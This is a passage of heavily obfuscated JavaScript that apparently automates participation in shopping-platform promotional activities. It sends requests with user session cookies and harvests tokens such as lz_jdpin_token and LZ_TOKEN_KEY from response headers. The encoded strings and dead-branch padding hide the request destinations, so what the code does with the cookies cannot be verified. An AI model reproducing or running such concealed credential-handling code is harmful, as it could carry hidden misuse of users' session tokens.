res[_0x5a05('82')][_0x5a05('a9')][_0x5a05('13d')],_0x1b4c6f[_0x5a05('279')]))$[_0x5a05('a9')]=res[_0x5a05('82')][_0x5a05('a9')][_0x5a05('13d')];if(_0x1b4c6f[_0x5a05('278')](typeof res[_0x5a05('82')][_0x5a05('ad')][_0x5a05('13d')],_0x1b4c6f[_0x5a05('279')]))$[_0x5a05('ad')]=res[_0x5a05('82')][_0x5a05('ad')][_0x5a05('13d')];if(_0x1b4c6f[_0x5a05('278')](typeof res[_0x5a05('82')][_0x5a05('3b')],_0x1b4c6f[_0x5a05('279')]))$[_0x5a05('3b')]=res[_0x5a05('82')][_0x5a05('3b')];}else if(_0x1b4c6f[_0x5a05('27a')](typeof res,_0x1b4c6f[_0x5a05('276')])&&res[_0x5a05('87')]){console[_0x5a05('7')](_0x5a05('27b')+(res[_0x5a05('87')]||''));}else{if(_0x1b4c6f[_0x5a05('27c')](_0x1b4c6f[_0x5a05('27d')],_0x1b4c6f[_0x5a05('27e')])){setcookie=setcookies[_0x5a05('68')](',');}else{console[_0x5a05('7')](_0x54a925);}}}}}}catch(_0x4950cb){$[_0x5a05('3f')](_0x4950cb,_0x2ff1e8);}finally{_0x1b4c6f[_0x5a05('27f')](_0x2c7365);}});});}function getUserInfo(){var _0x20ef1e={'pWOVJ':function(_0x4a58b7,_0x297e17){return _0x4a58b7===_0x297e17;},'kRpXg':_0x5a05('280'),'pWsKp':function(_0x4e762c,_0x450e36){return _0x4e762c==_0x450e36;},'pGdqa':_0x5a05('44'),'BhyTB':function(_0x596465,_0x1b189d){return _0x596465!==_0x1b189d;},'UsugR':_0x5a05('281'),'DkvGW':function(_0x2b01b3,_0x4ded39){return _0x2b01b3!=_0x4ded39;},'qFtQW':_0x5a05('45'),'dwkbr':_0x5a05('46'),'MUZxg':function(_0x18f8b3,_0x12d2f5){return _0x18f8b3==_0x12d2f5;},'ngTCN':function(_0x341fbd){return _0x341fbd();},'kLSCO':_0x5a05('1ad'),'tmoCX':_0x5a05('1ae'),'ARnEl':_0x5a05('1af'),'JyTfZ':_0x5a05('1b0'),'OAReD':_0x5a05('1b1'),'piitY':function(_0x29dccc,_0x24a398){return _0x29dccc(_0x24a398);},'pOrIX':function(_0x4a02d3,_0x7c5cd4,_0x58bae0){return _0x4a02d3(_0x7c5cd4,_0x58bae0);},'sXdJO':_0x5a05('282')};return new Promise(_0x3af3f4=>{var _0x5a7b57={'fDmpJ':_0x20ef1e[_0x5a05('283')],'oBExx':_0x20ef1e[_0x5a05('284')],'NpmhZ':_0x20ef1e[_0x5a05('285')],'yoGPR':_0x20ef1e[_0x5a05('286')],'MmUWx':_0x20ef1e[_0x5a05('287')]};let _0x8213e2=_0x5a05('288')+_0x20ef1e[_0x5a05('289')](encodeURIComponent,$[_0x5a05('62')]);$[_0x5a05('e9')](_0x20ef1e[_0x5a05('28a')](taskPostUrl,_0x20ef1e[_0x5a05('28b')],_0x8213e2),async(_0x9c9a16,_0x54188d,_0x171b6d)=>{try{if(_0x9c9a16){if(_0x20ef1e[_0x5a05('28c')](_0x20ef1e[_0x5a05('28d')],_0x20ef1e[_0x5a05('28d')])){console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x9c9a16));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('28e'));}else{console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x9c9a16));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('28e'));}}else{res=$[_0x5a05('7e')](_0x171b6d);if(_0x20ef1e[_0x5a05('28f')](typeof res,_0x20ef1e[_0x5a05('290')])&&res[_0x5a05('81')]&&_0x20ef1e[_0x5a05('28c')](res[_0x5a05('81')],!![])){if(_0x20ef1e[_0x5a05('291')](_0x20ef1e[_0x5a05('292')],_0x20ef1e[_0x5a05('292')])){return{'url':_0x5a05('1b2')+functionId+_0x5a05('1b3'),'headers':{'Content-Type':_0x5a7b57[_0x5a05('293')],'Origin':_0x5a7b57[_0x5a05('294')],'Host':_0x5a7b57[_0x5a05('295')],'accept':_0x5a7b57[_0x5a05('296')],'User-Agent':$['UA'],'content-type':_0x5a7b57[_0x5a05('297')],'Referer':_0x5a05('1b9')+functionId+_0x5a05('1ba')+functionId+_0x5a05('1bb')+$[_0x5a05('2d')]+_0x5a05('30')+$[_0x5a05('2b')],'Cookie':cookie}};}else{if(res[_0x5a05('82')]&&_0x20ef1e[_0x5a05('298')](typeof res[_0x5a05('82')][_0x5a05('84')],_0x20ef1e[_0x5a05('299')]))$[_0x5a05('85')]=res[_0x5a05('82')][_0x5a05('84')]||_0x20ef1e[_0x5a05('29a')];}}else if(_0x20ef1e[_0x5a05('29b')](typeof res,_0x20ef1e[_0x5a05('290')])&&res[_0x5a05('87')]){console[_0x5a05('7')](_0x5a05('88')+(res[_0x5a05('87')]||''));}else{console[_0x5a05('7')](_0x171b6d);}}}catch(_0x43c103){$[_0x5a05('3f')](_0x43c103,_0x54188d);}finally{_0x20ef1e[_0x5a05('29c')](_0x3af3f4);}});});}function accessLogWithAD(){var _0x5661f8={'kopkZ':function(_0x905946,_0x3dd2ec){return _0x905946==_0x3dd2ec;},'ScUKX':_0x5a05('29d'),'HCwSX':_0x5a05('29e'),'mZpBR':function(_0x5f5a38,_0x8c7bb){return _0x5f5a38>_0x8c7bb;},'WExds':_0x5a05('47'),'JTRuH':function(_0x150ff2,_0x1c1d68){return _0x150ff2+_0x1c1d68;},'EKEfn':_0x5a05('42'),'yOuBZ':_0x5a05('43'),'nnhAB':function(_0x34b4fb,_0x5c9710){return _0x34b4fb+_0x5c9710;},'RtnWO':_0x5a05('29f'),'qxJDC':_0x5a05('2a0'),'lydfN':_0x5a05('2a1'),'NJTAC':function(_0x2d20c8,_0x5e2f84){return _0x2d20c8!=_0x5e2f84;},'jtoEP':_0x5a05('44'),'HrALe':function(_0x51180d,_0x1f6cc8){return _0x51180d===_0x1f6cc8;},'OEWKn':_0x5a05('2a2'),'pORTs':_0x5a05('2a3'),'hcBJE':_0x5a05('2a4'),'OcofP':function(_0x1b5d9c,_0x5996b5){return _0x1b5d9c!==_0x5996b5;},'ItwBO':_0x5a05('2a5'),'ASQAj':function(_0x1f27c5,_0x55c6af){return _0x1f27c5+_0x55c6af;},'daOpS':function(_0x471001,_0x4bdba1){return _0x471001&&_0x4bdba1;},'OiZpV':function(_0x1f817f,_0xe83bf7){return _0x1f817f!==_0xe83bf7;},'LNtKj':_0x5a05('2a6'),'FWdGx':function(_0x4d8faa){return _0x4d8faa();},'Fbdgn':_0x5a05('4b'),'dRvGn':function(_0x4022c9,_0x106065){return _0x4022c9===_0x106065;},'oZXYQ':_0x5a05('2a7'),'CSArL':_0x5a05('2a8'),'xLUNW':function(_0x1edef1,_0xc1c0d1){return _0x1edef1(_0xc1c0d1);},'GOPtp':function(_0x57cdc5,_0x46dee6,_0xec5ce6){return _0x57cdc5(_0x46dee6,_0xec5ce6);},'OLUVr':_0x5a05('2a9')};return new Promise(_0x46ad1f=>{var _0x533043={'lGIGj':function(_0x3bf78d){return _0x5661f8[_0x5a05('2aa')](_0x3bf78d);},'vGMEN':function(_0x389a52,_0x28de66){return _0x5661f8[_0x5a05('2ab')](_0x389a52,_0x28de66);},'gZvvb':_0x5661f8[_0x5a05('2ac')]};if(_0x5661f8[_0x5a05('2ad')](_0x5661f8[_0x5a05('2ae')],_0x5661f8[_0x5a05('2af')])){_0x533043[_0x5a05('2b0')](_0x46ad1f);}else{let _0x7d4647=_0x5a05('2b1')+$[_0x5a05('2d')]+_0x5a05('30')+$[_0x5a05('2b')];let _0x7fa48b=_0x5a05('2b2')+($[_0x5a05('77')]||$[_0x5a05('79')])+_0x5a05('2b3')+_0x5661f8[_0x5a05('2b4')](encodeURIComponent,$[_0x5a05('62')])+_0x5a05('2b5')+$[_0x5a05('2d')]+_0x5a05('2b6')+_0x5661f8[_0x5a05('2b4')](encodeURIComponent,_0x7d4647)+_0x5a05('2b7');$[_0x5a05('e9')](_0x5661f8[_0x5a05('2b8')](taskPostUrl,_0x5661f8[_0x5a05('2b9')],_0x7fa48b),async(_0x488e52,_0xf62b35,_0x3c1970)=>{var _0xd65990={'meBMc':function(_0x1cee97,_0x60563b){return _0x5661f8[_0x5a05('2ab')](_0x1cee97,_0x60563b);},'IZgOv':_0x5661f8[_0x5a05('2ba')],'KtVnp':_0x5661f8[_0x5a05('2bb')],'mkAoq':function(_0xdff694,_0x58b617){return _0x5661f8[_0x5a05('2bc')](_0xdff694,_0x58b617);},'FAvgj':_0x5661f8[_0x5a05('2bd')],'JtrUd':function(_0x2120f2,_0x19c691){return _0x5661f8[_0x5a05('2be')](_0x2120f2,_0x19c691);},'xGpdK':_0x5661f8[_0x5a05('2bf')],'UoGOT':_0x5661f8[_0x5a05('2c0')],'nemIh':function(_0x3a43ef,_0x386a62){return _0x5661f8[_0x5a05('2c1')](_0x3a43ef,_0x386a62);}};try{if(_0x488e52){console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x488e52));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{let _0x10fe3e='';let _0x265dc0='';let _0x3dbdc4=_0xf62b35[_0x5661f8[_0x5a05('2c2')]][_0x5661f8[_0x5a05('2c3')]]||_0xf62b35[_0x5661f8[_0x5a05('2c2')]][_0x5661f8[_0x5a05('2c4')]]||'';let _0x2df440='';if(_0x3dbdc4){if(_0x5661f8[_0x5a05('2c5')](typeof _0x3dbdc4,_0x5661f8[_0x5a05('2c6')])){if(_0x5661f8[_0x5a05('2c7')](_0x5661f8[_0x5a05('2c8')],_0x5661f8[_0x5a05('2c9')])){$[_0x5a05('7')](_0x5a05('133')+res[_0x5a05('82')][_0x5a05('32')]+'个');}else{_0x2df440=_0x3dbdc4[_0x5a05('68')](',');}}else _0x2df440=_0x3dbdc4;for(let _0xa1adf of _0x2df440){if(_0x5661f8[_0x5a05('2c7')](_0x5661f8[_0x5a05('2ca')],_0x5661f8[_0x5a05('2ca')])){let _0x20a7c0=_0xa1adf[_0x5a05('68')](';')[0x0][_0x5a05('69')]();if(_0x20a7c0[_0x5a05('68')]('=')[0x1]){if(_0x5661f8[_0x5a05('2cb')](_0x5661f8[_0x5a05('2cc')],_0x5661f8[_0x5a05('2cc')])){if(_0xd65990[_0x5a05('2cd')](typeof str,_0xd65990[_0x5a05('2ce')])){try{return JSON[_0x5a05('136')](str);}catch(_0x3fce7a){console[_0x5a05('7')](_0x3fce7a);$[_0x5a05('20')]($[_0x5a05('21')],'',_0xd65990[_0x5a05('2cf')]);return[];}}}else{if(_0x5661f8[_0x5a05('2bc')](_0x20a7c0[_0x5a05('6b')](_0x5661f8[_0x5a05('2bf')]),-0x1))_0x10fe3e=_0x5661f8[_0x5a05('2d0')](_0x20a7c0[_0x5a05('6e')](/ /g,''),';');if(_0x5661f8[_0x5a05('2bc')](_0x20a7c0[_0x5a05('6b')](_0x5661f8[_0x5a05('2c0')]),-0x1))_0x265dc0=_0x5661f8[_0x5a05('2d0')](_0x20a7c0[_0x5a05('6e')](/ /g,''),';');}}}else{if(_0xf62b35[_0x5a05('15a')]&&_0x533043[_0x5a05('2d1')](_0xf62b35[_0x5a05('15a')],0x1ed)){console[_0x5a05('7')](_0x533043[_0x5a05('2d2')]);$[_0x5a05('13')]=!![];}console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x488e52));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}}}if(_0x5661f8[_0x5a05('2d3')](_0x10fe3e,_0x265dc0))activityCookie=_0x10fe3e+'\x20'+_0x265dc0;}}catch(_0x258620){if(_0x5661f8[_0x5a05('2d4')](_0x5661f8[_0x5a05('2d5')],_0x5661f8[_0x5a05('2d5')])){if(_0xd65990[_0x5a05('2d6')](name[_0x5a05('6b')](_0xd65990[_0x5a05('2d7')]),-0x1))lz_jdpin_token=_0xd65990[_0x5a05('2d8')](name[_0x5a05('6e')](/ /g,''),';');if(_0xd65990[_0x5a05('2d6')](name[_0x5a05('6b')](_0xd65990[_0x5a05('2d9')]),-0x1))LZ_TOKEN_KEY=_0xd65990[_0x5a05('2d8')](name[_0x5a05('6e')](/ /g,''),';');if(_0xd65990[_0x5a05('2d6')](name[_0x5a05('6b')](_0xd65990[_0x5a05('2da')]),-0x1))LZ_TOKEN_VALUE=_0xd65990[_0x5a05('2db')](name[_0x5a05('6e')](/ /g,''),';');}else{$[_0x5a05('3f')](_0x258620,_0xf62b35);}}finally{_0x5661f8[_0x5a05('2aa')](_0x46ad1f);}});}});}function getMyPing(){var _0xa77741={'FmBZp':function(_0x11ffd1){return _0x11ffd1();},'PcwhE':function(_0x1702e1,_0x162d9a){return _0x1702e1===_0x162d9a;},'iKueg':function(_0xc5ee1f,_0x5f893){return _0xc5ee1f==_0x5f893;},'bZMsu':_0x5a05('44'),'ptnyR':_0x5a05('52'),'qRwMZ':function(_0xe1f1d7,_0x2c6732){return _0xe1f1d7!=_0x2c6732;},'ByNqK':_0x5a05('45'),'oliWg':_0x5a05('46'),'iVcdk':_0x5a05('1a'),'aSlwd':function(_0x40fb0f,_0x43ee2e){return _0x40fb0f==_0x43ee2e;},'ieXbi':function(_0x3ead64,_0x2b6b0){return _0x3ead64===_0x2b6b0;},'NjIHR':_0x5a05('2dc'),'XdEDs':_0x5a05('4b'),'xTLlc':function(_0x1a68d6,_0x31e5ab){return _0x1a68d6!==_0x31e5ab;},'xsVna':_0x5a05('2dd'),'pDNyD':_0x5a05('2de'),'CjQuP':_0x5a05('29f'),'bGjpM':_0x5a05('2a0'),'USOoq':_0x5a05('2a1'),'XbjFJ':_0x5a05('2df'),'vdyrL':_0x5a05('2e0'),'tYJCT':function(_0x46bd64,_0x15a3f9){return _0x46bd64!=_0x15a3f9;},'jwxOt':_0x5a05('2e1'),'Neinc':function(_0x131065,_0x41ca3b){return _0x131065!==_0x41ca3b;},'HuVRn':_0x5a05('2e2'),'UWGzr':function(_0x258f7c,_0x5e7cca){return _0x258f7c>_0x5e7cca;},'JMucp':_0x5a05('47'),'pSriM':function(_0xe03081,_0x72432e){return _0xe03081+_0x72432e;},'uCqGI':_0x5a05('42'),'QZuQd':_0x5a05('43'),'aCqKV':function(_0xdbb16f,_0x126105){return _0xdbb16f+_0x126105;},'ZWZnK':function(_0xe041db,_0x27b8de){return _0xe041db&&_0x27b8de;},'RHWwj':function(_0x3d8c44,_0x3cbba0){return _0x3d8c44!=_0x3cbba0;},'fmFZa':_0x5a05('2e3'),'fwGko':function(_0x465c1a,_0x488eb9){return _0x465c1a!==_0x488eb9;},'tABbh':_0x5a05('2e4'),'mIaLr':_0x5a05('2e5'),'iPzti':function(_0x9c7743,_0x3b8e85,_0x4e1f2a){return _0x9c7743(_0x3b8e85,_0x4e1f2a);},'cuUcX':_0x5a05('2e6')};return new Promise(_0x4a7bd8=>{var _0x1b13f0={'xLKhL':function(_0x1e16bd){return _0xa77741[_0x5a05('2e7')](_0x1e16bd);},'bTJuu':function(_0x565577,_0x5d2791){return _0xa77741[_0x5a05('2e8')](_0x565577,_0x5d2791);},'wtlmV':function(_0x39e910,_0x5b4da1){return _0xa77741[_0x5a05('2e9')](_0x39e910,_0x5b4da1);},'ymazM':_0xa77741[_0x5a05('2ea')],'bQRdn':_0xa77741[_0x5a05('2eb')],'ivDPt':function(_0x442985,_0xc40636){return _0xa77741[_0x5a05('2ec')](_0x442985,_0xc40636);},'yStIB':_0xa77741[_0x5a05('2ed')],'LFmnB':_0xa77741[_0x5a05('2ee')],'bxSej':_0xa77741[_0x5a05('2ef')],'byIZB':function(_0x1a6e2f,_0x69f959){return _0xa77741[_0x5a05('2f0')](_0x1a6e2f,_0x69f959);},'qxkNF':function(_0x5343be,_0x648242){return _0xa77741[_0x5a05('2f1')](_0x5343be,_0x648242);},'CONai':_0xa77741[_0x5a05('2f2')],'YxoDs':_0xa77741[_0x5a05('2f3')],'xKQDq':function(_0x551892,_0x5a276b){return _0xa77741[_0x5a05('2f4')](_0x551892,_0x5a276b);},'uYCXF':_0xa77741[_0x5a05('2f5')],'fibGK':_0xa77741[_0x5a05('2f6')],'HFWKf':_0xa77741[_0x5a05('2f7')],'bkJwz':_0xa77741[_0x5a05('2f8')],'itVco':_0xa77741[_0x5a05('2f9')],'XqVuT':_0xa77741[_0x5a05('2fa')],'WMteT':_0xa77741[_0x5a05('2fb')],'yLqkJ':function(_0x1204f5,_0x34ac27){return _0xa77741[_0x5a05('2fc')](_0x1204f5,_0x34ac27);},'xMZvC':_0xa77741[_0x5a05('2fd')],'AQEhs':function(_0x1ae96d,_0x570144){return _0xa77741[_0x5a05('2fe')](_0x1ae96d,_0x570144);},'AffvJ':_0xa77741[_0x5a05('2ff')],'eHMXC':function(_0x106ca2,_0x58e3fa){return _0xa77741[_0x5a05('300')](_0x106ca2,_0x58e3fa);},'fHAvo':_0xa77741[_0x5a05('301')],'KVhra':function(_0x365f5c,_0x383b47){return _0xa77741[_0x5a05('302')](_0x365f5c,_0x383b47);},'zZrbM':function(_0xebf9f5,_0x114fff){return _0xa77741[_0x5a05('300')](_0xebf9f5,_0x114fff);},'onvPP':_0xa77741[_0x5a05('303')],'EuzKd':function(_0xcddbc8,_0x2b024f){return _0xa77741[_0x5a05('302')](_0xcddbc8,_0x2b024f);},'otWvA':_0xa77741[_0x5a05('304')],'lnAdO':function(_0x2f6346,_0x211099){return _0xa77741[_0x5a05('305')](_0x2f6346,_0x211099);},'mEYgA':function(_0x3562d5,_0x3decaa){return _0xa77741[_0x5a05('306')](_0x3562d5,_0x3decaa);},'EkDGa':function(_0x133bde,_0x5524ec){return _0xa77741[_0x5a05('307')](_0x133bde,_0x5524ec);},'GqseQ':function(_0x312aa7,_0x3c1453){return _0xa77741[_0x5a05('2f0')](_0x312aa7,_0x3c1453);},'lFOTZ':_0xa77741[_0x5a05('308')],'ihjAT':function(_0x513fe1,_0x2a8fd8){return _0xa77741[_0x5a05('309')](_0x513fe1,_0x2a8fd8);},'WSpus':_0xa77741[_0x5a05('30a')]};if(_0xa77741[_0x5a05('2f1')](_0xa77741[_0x5a05('30b')],_0xa77741[_0x5a05('30b')])){let _0xe180bd=_0x5a05('30c')+($[_0x5a05('77')]||$[_0x5a05('79')])+_0x5a05('30d')+$[_0x5a05('61')]+_0x5a05('30e');$[_0x5a05('e9')](_0xa77741[_0x5a05('30f')](taskPostUrl,_0xa77741[_0x5a05('310')],_0xe180bd),async(_0x170da5,_0x251c1b,_0x406414)=>{var _0x4741bd={'gSaqy':_0x1b13f0[_0x5a05('311')],'biXAS':function(_0x7f5f9,_0x1a8f93){return _0x1b13f0[_0x5a05('312')](_0x7f5f9,_0x1a8f93);},'cIurt':_0x1b13f0[_0x5a05('313')],'tPfjZ':_0x1b13f0[_0x5a05('314')],'zxuVL':_0x1b13f0[_0x5a05('315')]};try{if(_0x170da5){if(_0x251c1b[_0x5a05('15a')]&&_0x1b13f0[_0x5a05('316')](_0x251c1b[_0x5a05('15a')],0x1ed)){if(_0x1b13f0[_0x5a05('317')](_0x1b13f0[_0x5a05('318')],_0x1b13f0[_0x5a05('318')])){console[_0x5a05('7')](_0x1b13f0[_0x5a05('319')]);$[_0x5a05('13')]=!![];}else{_0x1b13f0[_0x5a05('31a')](_0x4a7bd8);}}console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x170da5));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('31b'));}else{if(_0x1b13f0[_0x5a05('31c')](_0x1b13f0[_0x5a05('31d')],_0x1b13f0[_0x5a05('31e')])){let _0x478591='';let _0x194a87='';let _0xedd285=_0x251c1b[_0x1b13f0[_0x5a05('31f')]][_0x1b13f0[_0x5a05('320')]]||_0x251c1b[_0x1b13f0[_0x5a05('31f')]][_0x1b13f0[_0x5a05('321')]]||'';let _0x5e3c6f='';if(_0xedd285){if(_0x1b13f0[_0x5a05('31c')](_0x1b13f0[_0x5a05('322')],_0x1b13f0[_0x5a05('323')])){if(_0x1b13f0[_0x5a05('324')](typeof _0xedd285,_0x1b13f0[_0x5a05('325')])){_0x5e3c6f=_0xedd285[_0x5a05('68')](',');}else _0x5e3c6f=_0xedd285;for(let _0xd438c8 of _0x5e3c6f){if(_0x1b13f0[_0x5a05('317')](_0x1b13f0[_0x5a05('326')],_0x1b13f0[_0x5a05('326')])){let _0x4c11e7=_0xd438c8[_0x5a05('68')](';')[0x0][_0x5a05('69')]();if(_0x4c11e7[_0x5a05('68')]('=')[0x1]){if(_0x1b13f0[_0x5a05('327')](_0x1b13f0[_0x5a05('328')],_0x1b13f0[_0x5a05('328')])){console[_0x5a05('7')](_0x4741bd[_0x5a05('329')]);return;}else{if(_0x1b13f0[_0x5a05('32a')](_0x4c11e7[_0x5a05('6b')](_0x1b13f0[_0x5a05('32b')]),-0x1))lz_jdpin_token=_0x1b13f0[_0x5a05('32c')](_0x4c11e7[_0x5a05('6e')](/ /g,''),';');if(_0x1b13f0[_0x5a05('32d')](_0x4c11e7[_0x5a05('6b')](_0x1b13f0[_0x5a05('32e')]),-0x1))_0x478591=_0x1b13f0[_0x5a05('32f')](_0x4c11e7[_0x5a05('6e')](/ /g,''),';');if(_0x1b13f0[_0x5a05('32d')](_0x4c11e7[_0x5a05('6b')](_0x1b13f0[_0x5a05('330')]),-0x1))_0x194a87=_0x1b13f0[_0x5a05('331')](_0x4c11e7[_0x5a05('6e')](/ /g,''),';');}}}else{if(_0x501a72[_0x5a05('82')]&&_0x4741bd[_0x5a05('332')](typeof _0x501a72[_0x5a05('82')][_0x5a05('84')],_0x4741bd[_0x5a05('333')]))$[_0x5a05('85')]=_0x501a72[_0x5a05('82')][_0x5a05('84')]||_0x4741bd[_0x5a05('334')];}}}else{console[_0x5a05('7')](_0x4741bd[_0x5a05('335')]);}}if(_0x1b13f0[_0x5a05('336')](_0x478591,_0x194a87))activityCookie=_0x478591+'\x20'+_0x194a87;let _0x501a72=$[_0x5a05('7e')](_0x406414);if(_0x1b13f0[_0x5a05('316')](typeof _0x501a72,_0x1b13f0[_0x5a05('325')])&&_0x501a72[_0x5a05('81')]&&_0x1b13f0[_0x5a05('317')](_0x501a72[_0x5a05('81')],!![])){if(_0x501a72[_0x5a05('82')]&&_0x1b13f0[_0x5a05('324')](typeof _0x501a72[_0x5a05('82')][_0x5a05('337')],_0x1b13f0[_0x5a05('313')]))$[_0x5a05('62')]=_0x501a72[_0x5a05('82')][_0x5a05('337')];if(_0x501a72[_0x5a05('82')]&&_0x1b13f0[_0x5a05('338')](typeof _0x501a72[_0x5a05('82')][_0x5a05('75')],_0x1b13f0[_0x5a05('313')]))$[_0x5a05('75')]=_0x501a72[_0x5a05('82')][_0x5a05('75')];}else if(_0x1b13f0[_0x5a05('339')](typeof _0x501a72,_0x1b13f0[_0x5a05('325')])&&_0x501a72[_0x5a05('87')]){if(_0x1b13f0[_0x5a05('327')](_0x1b13f0[_0x5a05('33a')],_0x1b13f0[_0x5a05('33a')])){cookiesArr[_0x5a05('3')](jdCookieNode[item]);}else{console[_0x5a05('7')](_0x5a05('33b')+(_0x501a72[_0x5a05('87')]||''));}}else{console[_0x5a05('7')](_0x406414);}}else{if(_0x1b13f0[_0x5a05('33c')](res[_0x5a05('81')],!![])&&res[_0x5a05('82')]){$[_0x5a05('7')](_0x5a05('133')+res[_0x5a05('82')][_0x5a05('32')]+'个');}else if(_0x1b13f0[_0x5a05('33d')](typeof res,_0x1b13f0[_0x5a05('325')])&&res[_0x5a05('87')]){console[_0x5a05('7')](''+(res[_0x5a05('87')]||''));}else{console[_0x5a05('7')](_0x406414);}}}}catch(_0x53029f){if(_0x1b13f0[_0x5a05('33e')](_0x1b13f0[_0x5a05('33f')],_0x1b13f0[_0x5a05('33f')])){console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x170da5));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{$[_0x5a05('3f')](_0x53029f,_0x251c1b);}}finally{_0x1b13f0[_0x5a05('31a')](_0x4a7bd8);}});}else{console[_0x5a05('7')](_0x1b13f0[_0x5a05('319')]);$[_0x5a05('13')]=!![];}});}function getSimpleActInfoVo(){var _0x50a6b4={'nclzx':_0x5a05('4b'),'lLtLr':function(_0x5a7f2a){return _0x5a7f2a();},'gCWsn':function(_0x11227d,_0x5e0773){return _0x11227d!==_0x5e0773;},'XFKMG':_0x5a05('340'),'KdqyD':_0x5a05('341'),'JuSIe':_0x5a05('342'),'lrsCN':function(_0x40c354,_0x512b2c){return _0x40c354==_0x512b2c;},'xlHOR':_0x5a05('343'),'eTzaA':_0x5a05('344'),'NFdWx':_0x5a05('44'),'lMFrG':function(_0x44a884,_0x3c56a4){return _0x44a884===_0x3c56a4;},'thnvC':function(_0x3c64cc,_0x2467db){return _0x3c64cc!==_0x2467db;},'HDliI':_0x5a05('345'),'qqUug':function(_0x1d8be3,_0x23928c){return _0x1d8be3!=_0x23928c;},'lusFw':_0x5a05('45'),'QxQsw':_0x5a05('346'),'cZgWu':_0x5a05('347'),'PwLWH':function(_0x54b3f1,_0x18acb9){return _0x54b3f1!==_0x18acb9;},'Ngnbw':_0x5a05('348'),'DHagb':function(_0x2f365c,_0x301530,_0x559619){return _0x2f365c(_0x301530,_0x559619);},'XTKwN':_0x5a05('349')};return new Promise(_0x415a2c=>{var _0x401cc0={'vQjGa':_0x50a6b4[_0x5a05('34a')],'OPKhL':function(_0x9938f0){return _0x50a6b4[_0x5a05('34b')](_0x9938f0);},'KYorT':function(_0x5966e6,_0x51256f){return _0x50a6b4[_0x5a05('34c')](_0x5966e6,_0x51256f);},'ZsBaS':_0x50a6b4[_0x5a05('34d')],'bEJgP':_0x50a6b4[_0x5a05('34e')],'speyT':_0x50a6b4[_0x5a05('34f')],'uJNlR':function(_0x388247,_0x11d3ae){return _0x50a6b4[_0x5a05('350')](_0x388247,_0x11d3ae);},'VysmG':_0x50a6b4[_0x5a05('351')],'ohXen':_0x50a6b4[_0x5a05('352')],'gnvFC':function(_0x2d557c,_0x38fd1c){return _0x50a6b4[_0x5a05('350')](_0x2d557c,_0x38fd1c);},'JfkcX':_0x50a6b4[_0x5a05('353')],'chytr':function(_0x7ca2b7,_0x597fe1){return _0x50a6b4[_0x5a05('354')](_0x7ca2b7,_0x597fe1);},'ajHuL':function(_0x2d4940,_0x38015b){return _0x50a6b4[_0x5a05('355')](_0x2d4940,_0x38015b);},'BfjXd':_0x50a6b4[_0x5a05('356')],'rAIBG':function(_0xdfa60a,_0x3e8907){return _0x50a6b4[_0x5a05('357')](_0xdfa60a,_0x3e8907);},'ERtTb':_0x50a6b4[_0x5a05('358')],'ONhju':_0x50a6b4[_0x5a05('359')],'QTchV':function(_0x5eeff6,_0xe149aa){return _0x50a6b4[_0x5a05('354')](_0x5eeff6,_0xe149aa);},'Gvwhd':_0x50a6b4[_0x5a05('35a')],'zVYru':function(_0x4c5f8e,_0x5ef08e){return _0x50a6b4[_0x5a05('35b')](_0x4c5f8e,_0x5ef08e);},'tMMoJ':_0x50a6b4[_0x5a05('35c')]};let _0x1396af=_0x5a05('e4')+$[_0x5a05('2d')];$[_0x5a05('e9')](_0x50a6b4[_0x5a05('35d')](taskPostUrl,_0x50a6b4[_0x5a05('35e')],_0x1396af),async(_0x2ad1ff,_0x202ccb,_0x189d1b)=>{var _0x583292={'aWdPC':function(_0x140b37){return _0x401cc0[_0x5a05('35f')](_0x140b37);}};if(_0x401cc0[_0x5a05('360')](_0x401cc0[_0x5a05('361')],_0x401cc0[_0x5a05('361')])){console[_0x5a05('7')](_0x189d1b);}else{try{if(_0x2ad1ff){if(_0x401cc0[_0x5a05('360')](_0x401cc0[_0x5a05('362')],_0x401cc0[_0x5a05('363')])){if(_0x202ccb[_0x5a05('15a')]&&_0x401cc0[_0x5a05('364')](_0x202ccb[_0x5a05('15a')],0x1ed)){if(_0x401cc0[_0x5a05('360')](_0x401cc0[_0x5a05('365')],_0x401cc0[_0x5a05('366')])){console[_0x5a05('7')](_0x401cc0[_0x5a05('367')]);$[_0x5a05('13')]=!![];}else{$[_0x5a05('3f')](e,_0x202ccb);}}console[_0x5a05('7')](''+JSON[_0x5a05('368')](_0x2ad1ff));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('369'));}else{$[_0x5a05('3f')](e,_0x202ccb);}}else{res=$[_0x5a05('7e')](_0x189d1b);if(_0x401cc0[_0x5a05('36a')](typeof res,_0x401cc0[_0x5a05('36b')])&&res[_0x5a05('81')]&&_0x401cc0[_0x5a05('36c')](res[_0x5a05('81')],!![])){if(_0x401cc0[_0x5a05('36d')](_0x401cc0[_0x5a05('36e')],_0x401cc0[_0x5a05('36e')])){console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x2ad1ff));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{if(_0x401cc0[_0x5a05('36f')](typeof res[_0x5a05('82')][_0x5a05('77')],_0x401cc0[_0x5a05('370')]))$[_0x5a05('77')]=res[_0x5a05('82')][_0x5a05('77')];if(_0x401cc0[_0x5a05('36f')](typeof res[_0x5a05('82')][_0x5a05('79')],_0x401cc0[_0x5a05('370')]))$[_0x5a05('79')]=res[_0x5a05('82')][_0x5a05('79')];}}else if(_0x401cc0[_0x5a05('36a')](typeof 